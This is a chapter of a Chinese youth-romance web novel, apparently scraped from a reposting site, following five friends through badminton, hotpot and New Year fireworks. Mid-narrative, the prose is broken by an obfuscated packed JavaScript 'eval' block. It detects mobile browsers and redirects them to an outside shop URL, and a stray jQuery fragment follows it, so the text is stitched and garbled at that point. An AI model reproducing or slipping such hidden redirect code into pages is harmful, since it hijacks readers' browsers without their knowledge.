“我可啥没说……”时柒岁莫名心虚,赶紧敛起唇角的笑意。
却还是避免不了被牵连,陈久亦在她额头弹了一指蹦。
“笑得太欠揍了,我不爽。”
“……”
桑洛性格内向,一直跟在时柒岁身边,没什么存在感。倒是林嘉注意到了她,觉得她眼熟:“哎,我们是不是见过?”
桑洛愣了一下,还没来得及回答,徐先祺率先嘲笑:“嘉啊,你跟人搭讪的方式好土。”
时柒岁见自己带来的小伙伴被这胡闹二人组撩拨得满脸无助,立即制止了他们:“停停停,你们不准欺负我家洛洛。”
“不是啊我没有。”林嘉仍然盯着被时柒岁护鸡崽子似的护在身后的女生,热情提醒道,“我们真见过啊,之前会考的时候我在文化楼旁边坐着,正好看到你在拜孔夫子的石像。”
闻有此事,几人的目光纷纷落在桑洛身上。
桑洛的脸一下子红了,窘迫地点点头:“……我想起来了。”
时柒岁弯起眼睛,边给桑洛顺毛边打趣:“洛洛呀,孔子搞四书五经的,咱考生地咋指望得上他?”
桑洛:“……我知道,但是因为当时挺紧张的,就想找点事做。”
时柒岁要被她萌死了。
生地会考已经是半年前的事情了,徐先祺后知后觉“哦”了一声:“原来那天考完出来你跟我说遇到了个挺有意思的女生,就是这位小姐姐。”
他当时还打趣哥们儿艳遇了。
林嘉回想起那天的事情,觉得好笑:“对啊,我还是第一次看到有人这样,态度还特别虔诚,校服裤兜里掉出来二十块钱,快被风飞走了都不知道。”
几人乐开。
能听出笑声中带着友善,桑洛也微微莞尔,看着林嘉小声说:“谢谢你帮我捡回了钱。”
林嘉摆摆手:“没事啊,没想到咱们又遇到了,以后就是朋友了。”
“……”
五人聊天间走到了羽毛球馆,因为他们是基数,所以决定轮流上场,输的人下场换人。
画室的学生私下喜欢约球,时柒岁也一样,都是球馆的常客。
但桑洛每回都以有事婉拒,久而久之大家都不找她了,只有时柒岁因为和她同宿舍关系最好,加上忘性大,锲而不舍地约她。
轮到桑洛上场时,平时看着温吞文静,甚至有些唯唯诺诺,上场后却跟换了人一样,气场都改变了。
其余四人轮了一遍都不是桑洛的对手。
后面换成组队模式,三对二。“二”那边注定有一个桑洛,男生们也服她。
时柒岁率先开口:“我跟洛洛一队!”
“让让我这种新手菜鸡怎么了,我跟洛洛一队。”林嘉自来熟,学着时柒岁喊桑洛的称呼。
桑洛提议:“要不……我们三个一队?”
时柒岁和林嘉立即达成一致:“可以。”
“喂,什么鬼,桑洛和十七她们两个打得最好的在一队还怎么打。输了等会儿可是要请客的,就这么草率决定了?”徐先祺用球拍杆轻碰了一下旁边的人,“你也没意见?”
陈久亦悠悠瞥了眼时柒岁:“能不能匀个厉害点的给我们?”
时柒岁犹豫了一下,还是同意了。
林嘉跟大佬一队表示很有安全感:“洛洛,免费蹭饭就靠你了啊。”
这话让桑洛莫名有压力,慎重点了点头:“我、我尽量……”
开局时柒岁来开球。
挥拍,羽毛球在空中划出一道漂亮的弧度,很快便被对面打了回来。
球离她的距离有点远,正好被陈久亦打了回去。
队友好像还不错。
开局很顺利,后面却不知怎么的配合不协调了。
好几次接球,时柒岁都跟陈久亦撞在一起。
后者被踩了n次鞋,终于忍不住“啧”了一声。
时柒岁也有些不满:“这个球在我这个位置就能接啊,你过来凑什么热闹,都打乱我的节奏了。”
陈久亦笑了:“能什么?你这身高,蹦起来拍都碰不到球。”
“再攻击我的身高我就不打球了,打人。”
“来啊,你蹦起来打我膝盖。”
徐先祺出来调节内部矛盾:“停之停之,咱打球,打球哈。”
“……”
几十个回合下来,比分7:16,“桑林”组胜。
“可以啊洛洛,球神。“林嘉乐呵呵地抬手,要跟桑洛击掌。
“没有,你也很厉害。”桑洛有些不好意思地抿唇,在他的掌心轻轻碰了一下。
相比这队的融洽,另一队开始内讧了。
“陈久亦,你自己不接球还老挡着我,你故意的吧?”
“6,我正要接的时候你搁我跟前又蹦又跳的,还老往我这边贴我说什么了,你要不数数我新鞋上有几个鞋印。”
“闭嘴,恨你老陈。”
“哎呦你俩别闹了,我还是太老实了刚才组队的时候为什么不跟木木嘉争一下……”
“……”
最后还是输的三人请客吃火锅。其中两个闹别扭的全程都没有跟对方说一句话。
“不至于不至于,这大过年的。”徐先祺一人给夹了一片牛肉,“吃了就代表和好了,快吃,不然一人一巴掌。”
时柒岁夹起来送进嘴里,当陈久亦嚼。
余光瞥见他也吃了,脸色才缓和一些。
这还差不多。
哼。
“哎,这就对了嘛。”徐先祺想起什么,“嗳”了一声,“说起来十七和阿亦确实很难配合到一起,你们还记得初一校运会那会儿有个双人搭档两人三足的走项目不?”
“当时咱们班想着这两一起长大的,默契这一块肯定没得说,全票通过把他俩报上去了,结果惊喜大大滴。”
“记得,那次笑死我了,我旁边的人都在笑。”林嘉跟着一乐,见桑洛一脸茫然加好奇,当即掏出手机,“洛洛你等等啊,我找给你看,当年高清视频全校人手一份来着。”
时柒岁和陈久亦脸色均变得不自然,显然也想起了那次比赛。
他们是这个项目所有选手中唯一一对男女搭档,且第一名都到终点了还在起点不过两米距离的。
两人一高一矮,步伐也不一致。时柒岁着急,好几次重心不稳险些摔了,又被陈久亦拎着后衣领拽了回去。
他们从小到大都没正经吵过几回架,那天差点在全校面前吵起来了。
反正那回比赛比得颜面尽失,不忍直视,比完回家后还冷战了好几天。
徐先祺随口一问:“对了,比赛之后你俩谁先认错来着?”
时柒岁想不起来了,瞅了眼某人。
陈久亦“呵”了一声:“反正我没错。”
时柒岁知道他装,语气笃定:“他。”
“……”
吃完火锅出来,五人在沿安桥附近逛。
来这边跨年的人几乎填满了整座桥,熙熙攘攘。
嗅到商机的商贩过来摆摊,每个小推车上都摆着琳琅满目的饰品物件,桥下是美食街,人流如海。
还有打铁花、舞龙喷火的传统文化表演,年味浓厚。
时柒岁牵着桑洛走在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683001|207733||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前面,开心地在各种摊位前穿梭。
两个小姑娘对玩的东西不太感冒,图看个新奇,主要还是买吃的多一些。
时柒岁想留着肚子吃下一样,所以什么都是只尝两口,然后随手塞给陈久亦。
以前也经常这样,陈久亦习惯地接过来。但今天一起出来的朋友多,他看着硬塞过来的冰糖葫芦,表情有些不自然。
“时柒岁,别什么都塞给我,自己吃啊。”
“下面的我又没碰着,你嫌弃啥。”时柒岁撇撇嘴,看到卖糖画的,拉着桑洛快步走过去。
徐先祺:“阿亦你不吃给我……”然后看着这人一脸嫌弃地咬了一口冰糖草莓。
徐先祺:“?”哥们儿你就嘴硬吧。。。
“……”
江面有烟花秀,接近零点,几人跑到江边等倒计时。
随着人群报出最后一个数字,有祝福含义的爆炸声响起,火花乍现,绚烂的色彩染了江面上的夜空。
明亮的光落在所有人的眼睛里,宛若接受了一场来自新的一年起点的盛大祝福。
沿安桥中央位置,五位少年紧紧挨在一起,仰望着这漫天繁花般的烟火,大声呼喊今年最纯粹一致的目标。
“中考加油啊——”
“都上一中!”
林嘉后面补了一句:“希望十七和洛洛艺考顺利!”
“看镜头看镜头,茄子——”
“……”
徐先祺把照片发在今天刚建的“五皇万岁”五人组群里。
大家才注意到陈久亦恶趣味般在时柒岁脑袋后面伸了两根手指,像加了对兔耳朵,都快笑死了。
烟花秀持续了十几分钟,时柒岁专注观赏着,忽然感觉到揣在羽绒服左边口袋里的手被贴了一下。
她下意识低头瞥了一眼,发现陈久亦正若无其事将手收回去。
他往她的口袋里塞了个东西。
捏着感觉是一个四四方方的盒子,不知道里面装了什么。
他还张嘴说了句什么,只是现在人太多了,她没听清。
烟花秀结束后,江面归于平静,人流也逐渐疏通。
时旭过来接时柒岁和陈久亦回家,到附近时给她发来了定位。
时柒岁看到消息,问旁边的桑洛:“洛洛,你家里有人来接吗?”
桑洛摇头:“我打车回去。”
时柒岁:“现在这么晚了很难打到车的,而且你一个人回去我不放心。你跟我们一起吧,我爸爸可以送你回去。”
桑洛犹豫两秒,点了点头。
徐先祺和林嘉顺路,便一起回去。
跟他们告别后,时柒岁看着手机上的位置带另外两人找到时旭。
时旭在车外等他们,举着手机似乎在找信号。
陈久亦:“旭叔。”
桑洛:“叔叔好。”
时旭将手机收回裤兜,微笑点头。
“过年好啊小朋友们。”
时柒岁:“爸爸,我捎上个朋友哦,她家在风迎街那边的居民楼。”
“没问题,都上车吧。”时旭打开后座车门,时柒岁拉着桑洛上车,陈久亦坐副驾。
桑洛小声道谢:“麻烦叔叔了。”
“不麻烦呀,都系好安全带。”
“……”
十多分钟后,时旭将车停在风迎街的一栋居民楼下,桑洛道谢下车。
车里的人看她进了小区才收回视线。
时柒岁想起刚才看烟火秀时陈久亦给自己塞的东西,现在才来得及看。
她从口袋里掏出来,是一个粉白色的盒子。